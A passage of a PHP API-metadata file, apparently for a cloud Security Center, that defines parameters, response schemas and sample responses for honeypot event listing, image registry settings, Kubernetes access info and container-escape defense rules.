empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'RequestId', 'in' => 'query', 'schema' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '20540822-520E-54F5-B7E6-236CF1EC987F', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotEventFlows' => [ 'description' => 'The attack timelines.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'SecurityEventId' => [ 'title' => '事件表的id', 'description' => 'The ID of the intrusion event.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '306527555', ], 'HoneypotEventId' => [ 'description' => 'The ID of the intrusion event. The value is a string.'."\n", 'type' => 'string', 'example' => '19bec028-d98b-45c4-a4d9-cc3d593f****', ], 'LastTime' => [ 'description' => 'The timestamp when the intrusion event was last occurred.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1686622222000', ], 'FirstTime' => [ 'description' => 'The timestamp when the intrusion event was first occurred.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1686621122000', ], 'EventConnection' => [ 'description' => 'The UUID of the connection in the attack.'."\n", 'type' => 'string', 'example' => 'fd7f1ff4-0c4b-41cb-99ad-0724349d****', ], 'AgentId' => [ 'description' => 'The ID of the probe.'."\n", 'type' => 'string', 'example' => 'd3c0dafa-5059-4eb0-8c28-7d40f58*****', ], 'AgentName' => [ 'description' => 'The name of the probe.'."\n", 'type' => 'string', 'example' => 'hw-d***', ], 'HoneypotId' => [ 'description' => 'The ID of the honeypot.'."\n", 'type' => 'string', 'example' => '911df9d6fe20451c059edbcffa1d1c33452f6a71e59d4826da067af224*****', ], 'HoneypotName' => [ 'description' => 'The name of the honeypot.'."\n", 'type' => 'string', 'example' => 'hw-zhi*****', ], 'DockerId' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'example' => 'eca09895****', ], 'DstIp' => [ 'description' => 'The destination IP address.'."\n", 'type' => 'string', 'example' => '112.126.205.***', ], 'DstPort' => [ 'description' => 'The destination port.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '80', ], 'SrcIp' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'example' => '121.41.48.***', ], 'SrcMac' => [ 'description' => 'The source media access control (MAC) address.'."\n", 'type' => 'string', 'example' => '00:0C:29:CA:**:**', ], 'SrcPort' => [ 'description' => 'The source port number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '80', ], 'TypeId' => [ 'description' => 'The ID of the attack type.'."\n", 'type' => 'string', 'example' => 'web_access', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **2**: low'."\n" .'* **3**: medium'."\n" .'* **4**: high'."\n", 'type' => 'string', 'example' => '4', ], 'Extra' => [ 'description' => 'The extended information about the attack payload.'."\n", 'type' => 'string', 'example' => '{\\"payload\\":{\\"format\\":\\"line\\",\\"name\\":{\\"cn\\":\\"payload\\",\\"en\\":\\"payload\\"},\\"value\\":\\"\\"},\\"uid\\":{\\"format\\":\\"line\\",\\"name\\":{\\"cn\\":\\"\\",\\"en\\":\\"\\"},\\"uid\\":\\"5fa2ece9-aa08-4bbd-a272-5d27*********\\",\\"value\\":\\"\\"}}', ], 'Extra1' => [ 'description' => 'The extension information about the virtual private cloud (VPC).'."\n", 'type' => 'string', 'example' => '{\\"vpc_id\\":\\"\\",\\"vpc_dest_port\\":\\"\\",\\"vpc_dest_ip\\":\\"\\"}', ], 'Uid' => [ 'description' => 'The UUID of an attack in the intrusion event.'."\n", 'type' => 'string', 'example' => '5fa2ece9-aa08-4bbd-a272-5d27d1c6*****', ], 'Status' => [ 'description' => 'The handling status of the intrusion event. Valid values:'."\n" ."\n" .'* **1**: pending handling'."\n" .'* **2**: ignored'."\n" .'* **4**: confirmed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'FileOssUrl' => [ 'description' => 'The Object Storage Service (OSS) URL of the file.'."\n", 'type' => 'string', 'example' => 'https://pop-test-file-upload.oss-cn-beijing.aliyuncs.com/5626_26331*****', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '78', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9F4E6157-9600-5588-86B9-38F09067****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotEventFlows\\": [\\n {\\n \\"SecurityEventId\\": 306527555,\\n \\"HoneypotEventId\\": \\"19bec028-d98b-45c4-a4d9-cc3d593f****\\",\\n \\"LastTime\\": 1686622222000,\\n \\"FirstTime\\": 1686621122000,\\n \\"EventConnection\\": \\"fd7f1ff4-0c4b-41cb-99ad-0724349d****\\",\\n \\"AgentId\\": \\"d3c0dafa-5059-4eb0-8c28-7d40f58*****\\",\\n \\"AgentName\\": \\"hw-d***\\",\\n \\"HoneypotId\\": \\"911df9d6fe20451c059edbcffa1d1c33452f6a71e59d4826da067af224*****\\",\\n \\"HoneypotName\\": \\"hw-zhi*****\\",\\n \\"DockerId\\": \\"eca09895****\\",\\n \\"DstIp\\": \\"112.126.205.***\\",\\n \\"DstPort\\": 80,\\n \\"SrcIp\\": \\"121.41.48.***\\",\\n \\"SrcMac\\": \\"00:0C:29:CA:**:**\\",\\n \\"SrcPort\\": 80,\\n \\"TypeId\\": \\"web_access\\",\\n \\"RiskLevel\\": \\"4\\",\\n \\"Extra\\": \\"{\\\\\\\\\\\\\\"payload\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"line\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"cn\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"攻击载荷\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"en\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"payload\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"uid\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"line\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"cn\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"en\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"uid\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"5fa2ece9-aa08-4bbd-a272-5d27*********\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"}}\\",\\n \\"Extra1\\": \\"{\\\\\\\\\\\\\\"vpc_id\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"vpc_dest_port\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"vpc_dest_ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"}\\",\\n \\"Uid\\": \\"5fa2ece9-aa08-4bbd-a272-5d27d1c6*****\\",\\n \\"Status\\": 1,\\n \\"FileOssUrl\\": \\"https://pop-test-file-upload.oss-cn-beijing.aliyuncs.com/5626_26331*****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 78,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListHoneypotEventFlows', ], 'ModifyImageRegistry' => [ 'summary' => 'Modifies the transfer time of an image repository.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'formData', 'schema' => [ 'title' => '镜像仓id', 'description' => 'The ID of the image repository. You can call the listImageRegistry operation to query the ID of the image repository.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '390103286', ], ], [ 'name' => 'UserName', 'in' => 'formData', 'schema' => [ 'title' => '用户名', 'description' => 'The username.'."\n", 'type' => 'string', 'required' => false, 'example' => 'xxxx', ], ], [ 'name' => 'Password', 'in' => 'formData', 'schema' => [ 'title' => '密码', 'description' => 'The password.'."\n", 'type' => 'string', 'required' => false, 'example' => '********************', ], ], [ 'name' => 'TransPerHour', 'in' => 'formData', 'schema' => [ 'title' => '每小时扫描的镜像数', 'description' => 'The number of images that are scanned per hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'N/A'."\n", 'type' => 'any', 'example' => 'N/A', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'success', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'TimeCost' => [ 'description' => 'The execution duration.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": \\"无\\",\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"379a9b8f-107b-4630-9e95-2299a1ea****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', 'title' => 'ModifyImageRegistry', ], 'DeleteK8sAccessInfo' => [ 'summary' => 'Deletes the Kubernetes access information.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '144575', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID generated when Kubernetes is connected. You can call the GenerateK8sAccessInfo operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '200', ], ], [ 'name' => 'AliyunYundunGatewayProjectName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'Sas', ], ], [ 'name' => 'AliyunYundunGatewayPopName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'Sas.2018-12-03.DeleteK8sAccessInfo', ], ], [ 'name' => 'AliyunYundunGatewayApiName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'DeleteK8sAccessInfo', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the request was successful. Valid value:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C5338DE5-5D80-51A1-B330-98300AFB80E9', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"C5338DE5-5D80-51A1-B330-98300AFB80E9\\"\\n}","type":"json"}]', 'title' => 'DeleteK8sAccessInfo', ], 'AddContainerPluginRule' => [ 'summary' => 'Creates a defense rule against container escapes.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '152413', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule. The name must be 1 to 80 characters in length, and can contain letters, digits, hyphens (-), forward slashes (/), periods (.), and underscores (\\_). The names of rules that are created for the same user must be unique.'."\n", 'type' => 'string', 'required' => true, 'example' => 'tyest111', ], ], [ 'name' => 'RuleTemplateId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule template. You can call the ListSystemClientRules operation to query the ID of the rule template.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '86863', ], ], [ 'name' => 'Mode', 'in' => 'query', 'schema' => [ 'description' => 'The action that you want to specify for the rule. Valid values:'."\n" ."\n" .'* **1**: triggers alerts.'."\n" .'* **2**: blocks escapes.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'SelectedPolicy', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The check items that are enabled for the rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The check item that is enabled for the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'system_triggered_task', ], 'required' => true, 'maxItems' => 100, ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **0**: custom rule'."\n" .'* **1**: system rule'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', 'default' => '0', ], ], [ 'name' => 'WhiteImages', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The images that are added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image that is added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'centos', ], 'required' => false, 'maxItems' => 100, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '219', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test2', ], 'SwitchId' => [ 'description' => 'The ID of the switch.'."\n", 'type' => 'string', 'example' => 'USER-CONTAINER-RULE-SWITCH-TYPE_xxxx', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RuleId\\": 219,\\n \\"RuleName\\": \\"test2\\",\\n \\"SwitchId\\": \\"USER-CONTAINER-RULE-SWITCH-TYPE_xxxx\\"\\n },\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\"\\n}","type":"json"}]', 'title' => 'AddContainerPluginRule', ], 'DeleteContainerPluginRule' => [ 'summary' => 'Deletes a defense rule against container escapes.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and the response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule. You can call the addContainerWebDefenseRule operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '200022', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the container plug-in is manually deleted. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\"\\n}","type":"json"}]', 'title' => 'DeleteContainerPluginRule', ], 'ModifyContainerPluginRule' => [ 'summary' => 'Modifies the defense rule against container escapes.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '100012', ], ], [ 'name' => 'Mode', 'in' => 'query', 'schema' => [ 'description' => 'The action mode of the rule. Valid values:'."\n" ."\n" .'* **1**: alerts'."\n" .'* **2**: block'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'SelectedPolicy', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The rule items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ssh_user_publickey_config', ], 'required' => false, 'maxItems' => 20, 'minItems' => 1, ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **0**: user-defined rule'."\n" .'* **1**: built-in rule'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', 'default' => '0', ], ], [ 'name' => 'WhiteImages', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The images that are added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image that is added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'centos', ], 'required' => false, 'maxItems' => 50, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The defense rule against container escapes.'."\n", 'type' => 'object', 'properties' => [ 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '600640', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test555', ], 'SwitchId' => [ 'description' => 'The switch ID.'."\n", 'type' => 'string', 'example' => 'USER-CONTAINER-RULE-SWITCH-TYPE_xxx', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RuleId\\": 600640,\\n \\"RuleName\\": \\"test555\\",\\n \\"SwitchId\\": \\"USER-CONTAINER-RULE-SWITCH-TYPE_xxx\\"\\n },\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\"\\n}","type":"json"}]', 'title' => 'ModifyContainerPluginRule', ], 'DeleteSasContainerWebDefenseRule' => [ 'summary' => 'Deletes a rule for container tamper-proofing.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The rule ID.'."\n" ."\n" .'> You can call the ListContainerWebDefenseRule operation to query the rule ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '400597', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\"\\n}","type":"json"}]', 'title' => 'DeleteSasContainerWebDefenseRule', ], 'ListK8sAccessInfo' => [ 'summary' => 'Queries the information about Kubernetes clusters that are added to Security Center.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas60Z3AE', ], ], 'parameters' => [ [ 'name' => 'AliyunYundunGatewayProjectName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'Sas', ], ], [ 'name' => 'AliyunYundunGatewayApiName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'ListK8sAccessInfo', ], ], [ 'name' => 'AliyunYundunGatewayPopName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'Sas.2018-12-03.ListK8sAccessInfo', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => '请求ID，可以用来查询执行链路。', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'K8sAccessInfos' => [ 'description' => 'The information about the Kubernetes clusters.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'test', ], 'AliUid' => [ 'description' => 'The ID of the Alibaba Cloud account.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1960721413485****', ], 'InstallKey' => [ 'description' => 'The installation key of the Kubernetes cluster.'."\n", 'type' => 'string', 'example' => 'xxx', ], 'Id' => [ 'description' => 'The UUID of the access information.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '67070', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c0da5e4cb82a848c4a57c4dc9f49a****', ], 'GroupId' => [ 'description' => 'The ID of the server group.'."\n", 'type' => 'string', 'example' => '11088522', ], 'ExpireDate' => [ 'description' => 'The expiration time.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1690596321613', ], 'GroupName' => [ 'description' => 'The name of the server group.'."\n", 'type' => 'string', 'example' => 'test', ], 'Vendor' => [ 'description' => 'The service provider.'."\n", 'type' => 'string', 'example' => 'ALIYUN', ], 'AuditRegionId' => [ 'description' => 'The ID of the region in which the server is deployed.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'AuditProject' => [ 'description' => 'The Simple Log Service project that is used to store the audit logs.'."\n", 'type' => 'string', 'example' => 'k8s-log-custom-your-project-sd89eh****', ], 'AuditLogStore' => [ 'description' => 'The Simple Log Service Logstore that is used to store the audit logs.'."\n", 'type' => 'string', 'example' => 'audit-cf6baf6afa106eca665296fdf68b****', ], 'CpuArch' => [ 'title' => 'cpu架构，分为arm架构的和x86架构。', 'description' => 'CPU architecture, divided into ARM and x86 architectures.', 'type' => 'string', 'example' => 'arm', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"K8sAccessInfos\\": [\\n {\\n \\"ClusterName\\": \\"test\\",\\n \\"AliUid\\": 0,\\n \\"InstallKey\\": \\"xxx\\",\\n \\"Id\\": 67070,\\n \\"ClusterId\\": \\"c0da5e4cb82a848c4a57c4dc9f49a****\\",\\n \\"GroupId\\": \\"11088522\\",\\n \\"ExpireDate\\": 1690596321613,\\n \\"GroupName\\": \\"test\\",\\n \\"Vendor\\": \\"ALIYUN\\",\\n \\"AuditRegionId\\": \\"cn-hangzhou\\",\\n \\"AuditProject\\": \\"k8s-log-custom-your-project-sd89eh****\\",\\n \\"AuditLogStore\\": \\"audit-cf6baf6afa106eca665296fdf68b****\\",\\n \\"CpuArch\\": \\"arm\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 